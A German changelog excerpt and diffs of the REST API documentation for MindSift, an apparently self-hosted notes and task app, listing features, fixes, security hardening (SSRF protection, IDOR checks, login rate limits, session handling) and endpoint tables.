- Mehrstufige Datenbankänderungen (Ordner/Aufgabenlisten/Konten löschen, Freigaben, Passwort-Reset) laufen atomar in Transaktionen und melden Schreibfehler sauber zurück (FLAW-14).
|
||||
- Fälligkeits-Alarme brechen nach 3 fehlgeschlagenen Zustellversuchen mit einer Warnung ab, statt jede Minute endlos weiterzusenden (FLAW-12).
|
||||
- Bessere Lesbarkeit (dunkler Text) auf dem Türkis-Akzent des Themes `Polarized` sowie korrekte `rounded-full`-Darstellung runder Icon-Buttons in eckigen Themes.
|
||||
|
||||
### Security
|
||||
- Einmal-Stream-Tickets statt langlebiger Sitzungs-Tokens in WebSocket-/SSE-URLs; `BASE_URL` schränkt CORS- und WebSocket-Origins ein; Abmelden, Passwortwechsel und Kontosperre trennen offene Live-Streams sofort (FLAW-22).
|
||||
- Berechtigungsprüfung für alle Listeneintrags-Endpunkte und beim Umwandeln von Gedanken in Listeneinträge (Eigentümer oder Bearbeiter erforderlich, verhindert IDOR und Schreibzugriffe durch Leser) (FLAW-27).
|
||||
- API-Keys sind strikt auf ihre Scopes (`webhook:triage`, `webhook:task`, `webhook:list`) beschränkt und können keine Live-Streams öffnen (FLAW-07).
|
||||
- Schutz gegen Brute-Force beim Login (Sperre nach Fehlversuchen pro Konto+IP, Konto und IP mit `429` und `Retry-After`) sowie explizite Konfiguration vertrauenswürdiger Reverse-Proxys über `TRUSTED_PROXIES` (FLAW-09).
|
||||
- `DeleteTaskList` prüft die Eigentümerschaft vor dem Entkoppeln von Aufgaben; Leser können Verknüpfungen zwischen Notiz-Blöcken und Aufgaben nicht mehr aufheben (FLAW-14).
|
||||
|
||||
## [0.4.1] - 2026-10-29
|
||||
|
||||
### Added
|
||||
- Fälligkeitsdatum mit optionaler Uhrzeit (`YYYY-MM-DDTHH:MM`); Alarme berücksichtigen Uhrzeit (bzw. 09:00 Uhr bei ganztägigen Aufgaben), Vorlaufzeit (`notify_before_minutes`) und Zeitzone (`TZ`, Standard `Europe/Berlin`) (FLAW-12).
|
||||
- Papierkorb für Notizen (`GET/POST/DELETE /documents/trash…`): Gelöschte Notizen und Ordner landen im Papierkorb, verschwinden aus Baum, Suche und Export und lassen sich vom Eigentümer wiederherstellen oder endgültig löschen.
|
||||
- Backlinks am Ende einer Notiz (`GET /documents/{id}/backlinks`): Zeigt alle zugänglichen Notizen und Punkte, die per `[[Titel]]` auf die aktuelle Notiz verweisen, mit direktem Sprung zum Punkt.
|
||||
- „Passwort vergessen?“ auf dem Anmeldebildschirm (wenn SMTP und `BASE_URL` eingerichtet sind): Einmal-Link per E-Mail (SHA-256-Hash gespeichert, 1 Stunde gültig), setzt das Passwort zurück und beendet alle bestehenden Sitzungen.
|
||||
- Offline-fähige PWA: Service Worker hält die App-Shell vor, gelesene Daten werden pro Benutzer in IndexedDB zwischengespeichert und offline erfasste Gedanken sowie abgehakte Aufgaben/Listeneinträge über eine Outbox bei Rückkehr der Verbindung synchronisiert.
|
||||
- Zwei neue dunkle Themes: `Polarized` (Obsidian & Türkis/Smaragd) und `Suri` (Mitternachts-Pflaume & Orchidee).
|
||||
|
||||
### Changed
|
||||
- Aufteilung von `internal/storage/sqlite.go` und `internal/api/server.go` in domänenspezifische Dateien ohne Verhaltensänderung (FLAW-20).
|
||||
|
||||
### Security
|
||||
- Ohne gesetztes `JWT_SECRET` (oder bei bekannten Platzhaltern) erzeugt der Server einmalig ein zufälliges 32-Byte-Geheimnis in `data/jwt.secret` (`0600`), statt ein öffentlich bekanntes Standard-Secret zu verwenden (FLAW-04).
|
||||
- SSRF-Schutz für Discord- und benutzerdefinierte Alarm-Webhooks: Nur `https`, Host-Prüfung für Discord, Blockieren von Loopback/Link-Local/Cloud-Metadata bei der DNS-Auflösung; private Netze und `http` nur über expliziten Admin-Schalter (`allowPrivateWebhooks`) (FLAW-05).
|
||||
- Einheitliche Authentifizierungsprüfung für Middleware und Webhook-Ingest inkl. Sperrliste, `token_version` und aktivem Konto; API-Keys dürfen keine Lese- oder Verwaltungs-Endpunkte mehr aufrufen (FLAW-07, FLAW-08).
|
||||
|
||||
## [0.4] - 2026-10-29
|
||||
|
||||
### Added
|
||||
- Daten-Import mit Vorschau (`?preview=1`) und Größen-/Pfad-Limits: Wiederherstellen oder Hinzufügen von MindSift-Backups (JSON, ZIP oder Markdown-Archiv via `POST /import/mindsift`) sowie Import ganzer Obsidian-Vaults als ZIP (`POST /import/obsidian`).
|
||||
- Vollständiger Datenexport auch als komprimiertes ZIP-Archiv (`GET /export?format=zip`).
|
||||
- Wiederkehrende Aufgaben (`daily`, `weekly`, `monthly`, `yearly`): Beim Abschließen einer Aufgabe wird automatisch die nächste Instanz zum Folgetermin angelegt.
|
||||
- Gefahrenzone in den Kontoeinstellungen: Eigene Daten (`DELETE /user/data`) oder das gesamte eigene Konto (`DELETE /user/account`) nach Passwortbestätigung löschen (der letzte Server-Admin ist vor Selbstlöschung geschützt).
|
||||
- PWA-Startbildschirm (Splash Screen) und automatische Anpassung der Statusleisten-Farbe (`theme-color`) an das aktive Theme.
|
||||
|
||||
### Fixed
|
||||
- SMTP-Versand fällt auf `AUTH LOGIN` zurück, wenn der Server `AUTH PLAIN` ablehnt (z. B. Postfix/Dovecot oder Exchange); das Port-Feld in den Admin-Einstellungen lässt sich leeren und ohne Typfehler speichern.
|
||||
- Mobil: Formular-Sheets (`FormSheet`) und Emoji-Picker positionieren sich über der Bildschirmtastatur (`visualViewport`).
|
||||
- Ältere Datenbanken werden beim Start nicht mehr durch den früheren Schema-Reset geleert.
|
||||
|
||||
## [0.3] - 2026-10-29
|
||||
|
||||
### Added
|
||||
- Organisationen und Sichtbarkeits-Modi (`private`, `organizations`, `open`), verwaltet durch Server-Admins; bestimmt zentral, wer wen in der Benutzersuche sieht und mit wem Inhalte geteilt werden können (FLAW-10, FLAW-24).
|
||||
- Aufgaben-Zuweisung (`assignees`) in geteilten Aufgabenlisten, einheitliche Benutzersuche (`UserAutocomplete`), Avatar-Stapel (`AvatarStack`) und runde Zähler-Badges (`CountBadge`).
|
||||
- Eigene CSS-Themes pro Benutzer (`GET/POST /themes`, `DELETE /themes/{id}`): `.css`-Datei hochladen oder einfügen, Vorlage herunterladen und live umschalten.
|
||||
- Globale Volltextsuche über Gedanken, Aufgaben, Notizen und Listeneinträge auf Basis von SQLite FTS5 mit BM25-Ranking, Berechtigungsprüfung und `⌘K`/`Ctrl+K`-Befehlspalette (FLAW-18).
|
||||
- Obsidian-kompatibler Markdown-Export (`GET /export/markdown`) als gestreamtes ZIP-Archiv über alle Notizen, Ordner, Aufgabenlisten und Listen.
|
||||
- Vollständige Emoji-Auswahl für Notiz-Icons (Lazy-Loading, auf dem Smartphone als Bottom-Sheet).
|
||||
- Optionale Links/Texte für Impressum und Datenschutz (`LEGAL_IMPRINT_*`, `LEGAL_PRIVACY_*`, `GET /legal/{imprint|privacy}`) sowie „Über MindSift“-Dialog.
|
||||
- Veröffentlichung unter [The Unlicense](LICENSE) (gemeinfrei, FLAW-21).
|
||||
|
||||
### Changed
|
||||
- **Achtung:** Nur noch Eigentümer können Ressourcen (Aufgabenlisten, Listen, Notizen, Ordner) teilen; das alte Feld `task_lists.team_id` und die ungeschützten `/organizations`-Routen entfallen. Entfällt die Sichtbarkeit (z. B. durch Organisationswechsel), werden Freigaben, Gruppenmitgliedschaften und Zuweisungen automatisch bereinigt (FLAW-06, FLAW-10, FLAW-24).
|
||||
- Demo-Modus setzt die Datenbank bei jedem Serverstart sauber zurück und befüllt sie neu.
|
||||
|
||||
### Fixed
|
||||
- SMTP-Client mit explizitem Protokollablauf (`EHLO` mit Absender-Domain, `STARTTLS`, `AUTH`, RFC-2047-Header, `SMTP_SKIP_VERIFY` für selbstsignierte Zertifikate).
|
||||
- Tailwind-Deckkraft-Modifikatoren (`bg-accent/15` usw.) funktionieren über `color-mix()` mit allen Theme-Variablen.
|
||||
- Mobil- und Desktop-Verbesserungen: Stilles Nachladen von Aufgabenlisten ohne Verschlucken von Klicks, `#`-Anker in URLs werden nicht mehr als Hashtags erkannt, mehrzeilige Aufgaben-Notizen im Dialog voll scrollbar.
|
||||
|
||||
## [0.2.1] - 2026-10-28
|
||||
|
||||
### Added
|
||||
- Notizen: Nach dem Umwandeln eines `/todo`-Punkts in eine erweiterte Aufgabe öffnet sich diese direkt; ein Klick auf das Badge „Erweitert“ öffnet den Aufgabendialog.
|
||||
|
||||
### Changed
|
||||
- Container-Build taggt Release-Images (`v*`) zusätzlich als `:stable` und `:latest`, den `dev`-Branch als `:dev`.
|
||||
|
||||
## [0.2] - 2026-10-28
|
||||
|
||||
### Added
|
||||
- Echtzeit-Zusammenarbeit in Notizen (`internal/collab`, `frontend/src/lib/docSync`): Server-autoritativer Operations-Log (`doc_ops`) mit Baumstruktur, Fractional-Indexing-Sortierschlüsseln, 20-Sekunden-Blocksperren (Leases), Offline-Warteschlange in IndexedDB und automatischem Transport-Fallback (WebSocket → SSE → Long-Polling → Intervall-Polling).
|
||||
- Notizen und Ordner lassen sich jetzt auch mit Schreibrecht („Bearbeiten“) teilen (FLAW-17).
|
||||
- Sichtbare Blocksperren mit Namen des Bearbeitenden, Anwesenheitsanzeige im Notizkopf, Konfliktkopien („Übernehmen“ / „Verwerfen“) statt Datenverlust bei gleichzeitigen Änderungen sowie benutzerbezogenes Undo/Redo (`Ctrl/Cmd+Z`, `Ctrl+Y`) über die gesamte Notiz (FLAW-25, FLAW-26).
|
||||
- Automatische Hintergrund-Verdichtung des Operations-Logs und Bereinigung gelöschter Blöcke (Tombstones) nach 30 Tagen.
|
||||
- Outliner: `Backspace` am Zeilenanfang verschmilzt den Punkt mit dem vorherigen; `#Hashtags` werden direkt im Fließtext als anklickbare Chips gerendert; Klick in einen Punkt setzt den Cursor exakt an die geklickte Textstelle.
|
||||
- Vitest + Testing Library im Frontend-Build sowie Playwright-End-to-End-Tests (`e2e/`) für Live-Kollaboration, Sperren und Proxy-Fallbacks.
|
||||
|
||||
### Removed
|
||||
- **Achtung:** Altes ganzheitliches Überschreiben von Notizen (`PATCH /documents/{id}/blocks`, `DOC_BLOCKS_PATCHED`) entfernt; alle Blockänderungen laufen über `/docs/{id}/sync`.
|
||||
|
||||
### Security
|
||||
- Echtzeit-Ereignisse (`BroadcastToAll` entfernt) und WebSocket-/SSE-Räume sind strikt auf berechtigte, angemeldete Benutzer beschränkt; `ReorderTasks` prüft Schreibrechte (IDOR behoben); SSE-Streams werden nicht mehr nach 30 s durch `WriteTimeout` getrennt; Block-Upserts prüfen die Dokumentzugehörigkeit (FLAW-01, FLAW-02, FLAW-03, FLAW-11, FLAW-15).
|
||||
|
||||
## [0.1] - 2026-10-27
|
||||
|
||||
### Added
|
||||
- Erste veröffentlichte Version von MindSift als einzelner selbst gehosteter Container (Go-Backend, eingebettetes React/TypeScript/Tailwind-Frontend, SQLite im WAL-Modus).
|
||||
- Schnellerfassung (Quick Dump per `C`/`/`, Spracheingabe, mehrzeilig mit `Shift+Enter`, direkte Zielwahl) und Triage-Deck (Tastaturkürzel & Smartphone-Wischgesten).
|
||||
- Aufgabenverwaltung mit mehreren Listen, frei konfigurierbarem Kanban-Board, Prioritäten, Fälligkeitsdaten, Unteraufgaben mit Fortschrittsbalken, Markdown-Notizen, Filtern/Gruppierungen sowie Fälligkeits-Alarmen per E-Mail (SMTP), Discord und eigenem Webhook.
|
||||
- Hierarchischer Outliner-Workspace mit Ordnerbaum, Drag & Drop ganzer Äste, Zoom-Fokus mit Breadcrumbs, Slash-Befehlen (`/todo`, `/link`, `/h1`–`/h3`, `/code`, `/callout`, `/divider`), Wiki-Links `[[Notiz]]`, `#Hashtag`-Übersicht, globalem To-Do-Rollup und `.md`-Export.
|
||||
- Geteilte Listen (Einkaufs-, Pack- und Checklisten) mit `#Kategorie`-Gruppierung, Mengenangaben und Echtzeit-Abhaken.
|
||||
- Benutzer-, Gruppen- und Admin-Verwaltung (Ersteinrichtungs-Assistent, Einladungscodes, Profilbilder, persönliche API-Keys & Webhook-Ingest `/api/v1/webhooks/ingest`, JSON-Datenexport) sowie CSS-Theme-Engine mit 4 Themes (`Dark`, `Light`, `High Contrast`, `Soft`) und PWA-Unterstützung.
|
||||
|
||||
[Unreleased]: https://git.dsit.me/sandrodach/MindSift/compare/v0.9.0...dev
|
||||
[0.9.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.8.0...v0.9.0
|
||||
[0.8.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.7.0...v0.8.0
|
||||
[0.7.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.6.0...v0.7.0
|
||||
[0.6.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.6.0...v0.6.1
|
||||
[0.6.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.5.2...v0.6.0
|
||||
[0.5.2]: https://git.dsit.me/sandrodach/MindSift/compare/v0.5.1...v0.5.2
|
||||
[0.5.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.5...v0.5.1
|
||||
[0.5]: https://git.dsit.me/sandrodach/MindSift/compare/v0.4.1...v0.5
|
||||
[0.4.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.4...v0.4.1
|
||||
[0.4]: https://git.dsit.me/sandrodach/MindSift/compare/v0.3...v0.4
|
||||
[0.3]: https://git.dsit.me/sandrodach/MindSift/compare/v0.2.1...v0.3
|
||||
[0.2.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.2...v0.2.1
|
||||
[0.2]: https://git.dsit.me/sandrodach/MindSift/compare/v0.1...v0.2
|
||||
[0.1]: https://git.dsit.me/sandrodach/MindSift/releases/tag/v0.1
|
||||
+1
-1
@@ -27,7 +27,7 @@ Referenz für Entwickler und Administratoren. Alle Angaben wurden gegen den Code
|
||||
- **Datenhaltung:** vollständig in SQLite. Es gibt keine `.md`-Dateien auf der Platte; Markdown wird bei Bedarf aus den Blöcken erzeugt (`documents.markdown_cache`, Export als `.md`).
|
||||
- **Echtzeit:** ein Hub mit Räumen und Benutzer-Kanälen (WebSocket, SSE als Ersatz). Verteilt werden Ereignisse nach Änderungen.
|
||||
- **Notizen gemeinsam bearbeiten:** server-autoritatives Operations-Log mit Versionen und Sperren pro Bullet, Konfliktkopien statt Überschreiben, Offline-Warteschlange in IndexedDB, Abgleich auch hinter restriktiven Proxys ([modules/collaboration.md](modules/collaboration.md)).
|
||||
- **Auth:** JWT (HS256, 30 Tage) mit `token_version` und Sperrliste, dazu API-Keys (`mindsift_sec_…`) für Webhooks.
|
||||
- **Auth:** JWT (HS256) mit serverseitiger Sitzung (`sessions`, gleitend 30 Tage) und `token_version`, dazu API-Keys (`mindsift_sec_…`) für Webhooks.
|
||||
- **Freigaben:** Aufgabenlisten, geteilte Listen, Notizen und Ordner jeweils mit Rolle Bearbeiter oder Leser.
|
||||
|
||||
## Entwickeln
|
||||
|
||||
+32
-13
@@ -1,6 +1,6 @@
|
||||
# REST-API
|
||||
|
||||
Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`. Authentifizierung über `Authorization: Bearer <JWT>`. **API-Keys** (`Bearer mindsift_sec_…` bzw. Header `X-API-Key`) liefern nur Daten ein, über `POST /inbox` und `POST /webhooks/ingest`, und nur für die Ziele ihrer Scopes: `webhook:triage` (Inbox), `webhook:task` (Aufgaben), `webhook:list` (Listeneinträge). Alles andere, auch Live-Streams, antwortet mit `403` bzw. `401`. Zeitstempel sind ISO-8601 (UTC). Quelle der Wahrheit sind die Routen in [server.go](../../internal/api/server.go).
|
||||
Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`. Authentifizierung über `Authorization: Bearer <JWT>`. **API-Keys** (`Bearer mindsift_sec_…` bzw. Header `X-API-Key`) liefern nur Daten ein, über `POST /inbox` und `POST /webhooks/ingest`, und nur für die Ziele ihrer Scopes: `webhook:triage` (Inbox), `webhook:task` (Aufgaben), `webhook:list` (Listeneinträge). Alles andere, auch Live-Streams, antwortet mit `403` bzw. `401`. Zeitstempel sind ISO-8601 (UTC). Anfragekörper sind auf 2 MB begrenzt (Notiz-Sync 8 MB, Importe 101 MB). Im Demo-Modus antworten Endpunkte, die etwas verschicken, Server-Einstellungen ändern oder die gemeinsamen Demo-Konten verändern würden, mit `403` „In der Demo deaktiviert“. Quelle der Wahrheit sind die Routen in [server.go](../../internal/api/server.go).
|
||||
|
||||
## Öffentlich
|
||||
|
||||
@@ -10,13 +10,12 @@ Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`
|
||||
| GET | `/auth/status` | `needsSetup`, `allowRegistration`, `instanceName`, `demoMode`, `sharingMode`, `legal` (`imprintUrl`, `hasImprintContent`, `privacyUrl`, `hasPrivacyContent`) |
|
||||
| GET | `/legal/{imprint\|privacy}` | Hinterlegter Markdown-Text (`content`), ohne Anmeldung; `404`, wenn keiner gesetzt ist |
|
||||
| POST | `/auth/setup` | Erstes Administratorkonto (`email`, `password`, `displayName`, `instanceName`, `allowRegistration`, `sharingMode`, `seedSampleData`); nur solange es keine Konten gibt |
|
||||
| POST | `/auth/register` | Registrierung (`email`, `password`, `displayName`, `inviteCode`); nur mit Code oder wenn freigegeben |
|
||||
| POST | `/auth/register` | Registrierung (`email`, `password`, `displayName`, `inviteCode`); nur mit Code oder wenn freigegeben; `429` nach 20 Versuchen pro Adresse in 15 Minuten |
|
||||
| POST | `/auth/login` | Anmeldung (`login`/`email`/`username`, `password`) → `{token, user}` |
|
||||
| POST | `/auth/forgot-password` | `{email}` → immer `{ok: true}`; Mail mit Link nur, wenn das Konto existiert. `503`, wenn SMTP oder `BASE_URL` fehlen |
|
||||
| POST | `/auth/forgot-password` | `{email}` → immer `{ok: true}`; Mail mit Link nur, wenn das Konto existiert. `503`, wenn SMTP oder `BASE_URL` fehlen; `429` nach 10 Anfragen pro Adresse in 15 Minuten |
|
||||
| POST | `/auth/reset-password` | `{token, password}` (mind. 8 Zeichen) → neues Passwort, alle Sitzungen beendet; `400` bei ungültigem oder abgelaufenem Link |
|
||||
| POST | `/auth/quickstart` | Immer `403` (Gastzugang deaktiviert) |
|
||||
| POST | `/webhooks/ingest` | Einliefern per Webhook, Key als `X-API-Key` (empfohlen), Bearer oder `?token=`. Body: `title`/`content`/`text`/`message`, `priority`, `source`, `tags`, `dueDate`; `target` (oder `type`): `triage` (Standard, Inbox), `task` (optional `taskListId`), `list_item` (`listId`, `category`, `quantity`). Klartext-Body wird als Inhalt genommen. `403` ohne passenden Scope oder ohne Schreibrecht auf die Liste |
|
||||
| POST | `/auth/stream-ticket` | Einmal-Ticket (60 s) für WebSocket/SSE |
|
||||
| POST | `/webhooks/ingest` | Einliefern per Webhook, Key als `X-API-Key` (empfohlen), Bearer oder `?token=` (in der URL nur API-Keys, keine Sitzungs-Tokens). Body: `title`/`content`/`text`/`message`, `priority`, `source`, `tags`, `dueDate`; `target` (oder `type`): `triage` (Standard, Inbox), `task` (optional `taskListId`), `list_item` (`listId`, `category`, `quantity`). Klartext-Body wird als Inhalt genommen. `403` ohne passenden Scope oder ohne Schreibrecht auf die Liste |
|
||||
| GET | `/ws`, `/ws/spaces/{id}`, `/ws/lists/{id}` | WebSocket, siehe [websocket.md](websocket.md); `?ticket=` oder `Authorization`-Header |
|
||||
| GET | `/events` | SSE-Fallback; `?ticket=` oder `Authorization`-Header |
|
||||
|
||||
@@ -26,9 +25,13 @@ Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`
|
||||
|---|---|---|
|
||||
| GET | `/auth/me` | Benutzer und Kennzahlen |
|
||||
| POST | `/events/rooms` | SSE-Raum beitreten/verlassen (`sseId`, `room`, `action`); nur eigene `sseId`, nur Räume mit Lesezugriff |
|
||||
| POST | `/auth/logout` | Token sperren |
|
||||
| POST | `/auth/stream-ticket` | Einmal-Ticket (60 s) für WebSocket/SSE |
|
||||
| POST | `/voice/transcribe` | Nur im Server-Modus der Spracherkennung: `multipart/form-data` mit `file` (Aufnahme, z. B. WebM/Opus oder MP4/AAC) → `{text}`. `404` ohne `STT_URL`, `413` zu groß, `429` Stundenlimit, `503` ausgelastet, `502` Whisper-Fehler (Details im Log) |
|
||||
| POST | `/auth/logout` | Sitzung dieses Geräts beenden |
|
||||
| GET | `/auth/sessions` | Angemeldete Geräte: `[{id, createdAt, lastUsedAt, userAgent, ip, current}]` |
|
||||
| DELETE | `/auth/sessions/{id}` | Ein Gerät abmelden; `404` bei fremder oder unbekannter Sitzung |
|
||||
| POST | `/auth/revoke-all` | Alle Sitzungen beenden (`token_version` +1) |
|
||||
| PATCH | `/auth/settings` | `displayName`, `email`, `password`, `avatarUrl`, `alarmChannels`, `alarmEmail`, `discordWebhookUrl`, `customWebhookUrl`, `notifyBeforeMinutes` |
|
||||
| PATCH | `/auth/settings` | `displayName`, `email`, `password`, `avatarUrl`, `alarmChannels`, `alarmEmail`, `discordWebhookUrl`, `customWebhookUrl`, `notifyBeforeMinutes`. `notificationSettings` (`paused`, `includeOwnWatched`, `events.{due,shared,taskDone,watched}.{email,discord}`, `dailySummary.{enabled,time,email,discord}`) für Benachrichtigungen. Neue `email` oder `password` nur mit `currentPassword` (`403` bei falschem, `429` bei Login-Sperre); nach neuem Passwort sind andere Geräte abgemeldet, das neue Token kommt im Header `X-Session-Token` |
|
||||
| POST | `/auth/alarms/test` | Test-Alarm (`channel`: `email`/`discord`/`webhook`, optional `target`) |
|
||||
| GET | `/users/directory`, `/collaborators` | Personen, die man sehen und mit denen man teilen kann (je nach `sharingMode`, [sharing-and-permissions.md](../sharing-and-permissions.md)) |
|
||||
| GET | `/stats` | Zähler fürs Dashboard (u. a. `inboxCount`, `tasksOpenCount`, `listItemsOpenCount` = offene Einträge aller sichtbaren Listen) |
|
||||
@@ -43,7 +46,8 @@ Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`
|
||||
| DELETE | `/user/account` | Eigenes Konto mit allen Daten löschen (`{"password"}` nötig); `403` für den letzten Server-Admin. `/auth/me` liefert dafür `isLastAdmin` |
|
||||
| GET | `/backups`, `/backups/{name}` | Eigene automatische Server-Backups auflisten bzw. herunterladen |
|
||||
| POST | `/backups/{name}/restore` | Server-Backup einspielen: `mode=merge` oder `restore` (gewählte Bereiche vorher leeren), `sections=notes,tasks,lists,inbox,themes`, `preview=1` |
|
||||
| GET/POST/DELETE | `/keys`, `/keys/{id}` | API-Keys verwalten (Klartext nur bei Erstellung); `POST` mit `name` und `scopes` (Standard `["webhook:triage"]`) |
|
||||
| GET/POST | `/keys` | API-Keys auflisten bzw. anlegen (Klartext nur bei Erstellung); `POST` mit `name` und `scopes` (Standard `["webhook:triage"]`) |
|
||||
| DELETE | `/keys/{id}` | API-Key löschen |
|
||||
|
||||
### Globale Suche (`GET /api/v1/search?q=`)
|
||||
|
||||
@@ -83,6 +87,7 @@ Führt eine Volltextsuche über SQLite FTS5 mit BM25-Relevanz-Ranking aus.
|
||||
| GET | `/tasks?taskListId=` | Aufgaben (optional einer Liste) |
|
||||
| POST | `/tasks/reorder`, `/task-lists/{id}/tasks/reorder` | Reihenfolge/Spalte ändern (`items[{id, sortOrder, kanbanStatus}]`) |
|
||||
| POST | `/tasks/{id}/unlink` | Verknüpfung zu Notiz-Block lösen |
|
||||
| POST/DELETE | `/tasks/{id}/watch` | Aufgabe beobachten bzw. nicht mehr → `{watching}`; `404` ohne Zugriff. Aufgaben-Antworten tragen `isWatching` |
|
||||
|
||||
## Aufgabenlisten
|
||||
|
||||
@@ -105,7 +110,8 @@ Schreibzugriffe von Lesern auf Listen oder deren Aufgaben liefern `403` („Kein
|
||||
| GET/POST | `/workspace/folders/shared` | Geteilte Ordner; anlegen (`name`, `mountPath`) |
|
||||
| GET/DELETE | `/workspace/folders/shared/{id}` | Abruf; Löschen |
|
||||
| PUT | `/workspace/folders/shared/{id}/mount` | Eigenen Einhängepfad ändern (`mountPath`) |
|
||||
| GET/POST/DELETE | `/workspace/folders/shared/{id}/shares[/{shareId}]` | Freigaben (`permission`: `read`/`write`) |
|
||||
| GET/POST | `/workspace/folders/shared/{id}/shares` | Freigaben geteilter Ordner (`permission`: `read`/`write`) |
|
||||
| DELETE | `/workspace/folders/shared/{id}/shares/{shareId}` | Freigabe eines geteilten Ordners entfernen |
|
||||
| GET | `/workspace/tags`, `/workspace/tags/{tag}` | Tag-Übersicht und -Details |
|
||||
| PUT | `/workspace/tags/{tag}/note` | Tag-Seite speichern (`content`) |
|
||||
| GET/POST | `/documents` | Notizen auflisten; anlegen (`title`, `icon`, `folderPath`, `blocks`, `tags`, `isPinned`) |
|
||||
@@ -116,7 +122,17 @@ Schreibzugriffe von Lesern auf Listen oder deren Aufgaben liefern `403` („Kein
|
||||
| DELETE | `/documents/{id}/permanent` | Notiz im Papierkorb endgültig löschen |
|
||||
| PUT | `/documents/{id}/move` | Ordner wechseln (`folderPath`) |
|
||||
| POST | `/documents/{id}/blocks/{blockId}/enhanced-task` | Aus einem Block eine verknüpfte Aufgabe machen (`content`, `checked`) |
|
||||
| GET/POST/DELETE | `/documents/{id}/shares[/{userId}]` | Notiz-Freigaben (`userId`/`email`/`teamId`, `permission`: `read`/`write`) |
|
||||
| GET/POST | `/documents/{id}/shares` | Notiz-Freigaben (`userId`/`email`/`teamId`, `permission`: `read`/`write`) |
|
||||
| DELETE | `/documents/{id}/shares/{userId}` | Notiz-Freigabe entfernen |
|
||||
| POST | `/documents/{id}/extract` | `{blockId, clientId}`: legt aus den Unterpunkten des Punkts eine eigene Notiz an (Titel = Text ohne Hashtags, gleicher Ordner, Freigaben übernommen, fremder Besitzer bekommt Schreibrecht) → `{document, link}`. Die Ursprungsnotiz ändert der Server nicht; der Editor ersetzt den Ast selbst durch `link` (normale eigene Änderung, Strg+Z möglich). Schreibrecht nötig; `409`, wenn jemand anderes im Ast schreibt |
|
||||
| POST | `/documents/{id}/extract/undo` | Legt die ausgelagerte Notiz `{id}` wieder in den Papierkorb (nur ihr Ersteller) |
|
||||
| POST | `/documents/{id}/merge` | `{sourceId}`: hängt die (eigene) Quellnotiz als Überschrift mit Unterpunkten an diese Notiz an, Quelle in den Papierkorb → `{targetId, sourceId, sourceTitle, headingId}` |
|
||||
| POST | `/documents/{id}/merge/undo` | `{sourceId, headingId}`: Abschnitt wieder entfernen, Quelle wiederherstellen |
|
||||
| POST | `/documents/{id}/media` | Bild oder Audio zu einer Notiz hochladen (`multipart/form-data`, Feld `file`; Schreibrecht nötig) → `{id, kind, mime, size, url}`. `415` falsches Format, `413` zu groß oder Kontingent voll |
|
||||
| POST | `/documents/{id}/media/fetch` | Externes Bild kopieren: `{url}` (nur https, keine internen Adressen; nicht in der Demo) → wie oben |
|
||||
| GET | `/media/{id}` | Datei abrufen (Leserecht auf eine Notiz, die sie zeigt), mit Range-Anfragen; sonst `404` |
|
||||
| GET | `/link-preview?url=https://…` | Vorschau einer Web-Seite (`title`, `description`, `siteName`, `hasImage`, `hasIcon`, `ok`, `key`), vom Server geholt und 7 Tage zwischengespeichert; `422` ohne https, `403` in der Demo, `429` zu viele Abrufe |
|
||||
| GET | `/link-preview/{key}/image` bzw. `/icon` | Bild bzw. Icon einer Vorschau |
|
||||
|
||||
Der Inhalt einer Notiz (Blöcke) wird ausschließlich über `POST /docs/{id}/sync` geändert. `POST /documents` nimmt beim Anlegen weiterhin eine Start-Blockliste an; sie wird intern in Operationen umgerechnet.
|
||||
|
||||
@@ -160,7 +176,8 @@ Wiederholte Operationen (gleiche `opId`) werden nicht erneut angewendet; die Ant
|
||||
|---|---|---|
|
||||
| GET/POST | `/lists` | Listen; anlegen (`title`, `icon`, `listType`) |
|
||||
| GET/DELETE | `/lists/{id}` | Abruf mit Einträgen; Löschen |
|
||||
| GET/POST/DELETE | `/lists/{id}/shares[/{shareId}]` | Freigaben (`targetType`, `targetId`, `role`: `editor`/`viewer`) |
|
||||
| GET/POST | `/lists/{id}/shares` | Freigaben abrufen bzw. anlegen (`targetType`, `targetId`, `role`: `editor`/`viewer`) |
|
||||
| DELETE | `/lists/{id}/shares/{shareId}` | Freigabe entfernen |
|
||||
| POST | `/lists/{id}/items` | Eintrag (`content`, `category`, `quantity`) |
|
||||
| PATCH | `/lists/{id}/items/{itemId}` | Abhaken (`isCompleted`) |
|
||||
| PUT | `/lists/{id}/items/{itemId}` | Ändern (`content`, `category`, `quantity`) |
|
||||
@@ -187,10 +204,12 @@ Wiederholte Operationen (gleiche `opId`) werden nicht erneut angewendet; die Ant
|
||||
| PUT/DELETE | `/admin/organizations/{id}` | Umbenennen (`name`); löschen (Mitglieder sind danach ohne Organisation) |
|
||||
| PATCH/DELETE | `/admin/users/{id}` | `displayName`, `email`, `role`, `isActive`, `discordWebhookUrl`; löschen |
|
||||
| PUT | `/admin/users/{id}/password` | Passwort zurücksetzen |
|
||||
| GET/POST/DELETE | `/admin/invites[/{id}]` | Einladungen (`email`, `role`, `organizationId`, `validDays`) |
|
||||
| GET/PUT | `/admin/settings` | `instanceName`, `allowRegistration`, `sharingMode` (`private`/`organizations`/`open`), SMTP-Felder; ein Moduswechsel bereinigt Freigaben |
|
||||
| GET/POST | `/admin/invites` | Einladungen auflisten bzw. anlegen (`email`, `role`, `organizationId`, `validDays`) |
|
||||
| DELETE | `/admin/invites/{id}` | Einladung widerrufen/löschen |
|
||||
| GET/PUT | `/admin/settings` | `instanceName`, `allowRegistration`, `sharingMode` (`private`/`organizations`/`open`), SMTP-Felder; ein Moduswechsel bereinigt Freigaben. `smtpPass` kommt nie zurück (`smtpPassSet` zeigt, ob eines gespeichert ist); leer = unverändert |
|
||||
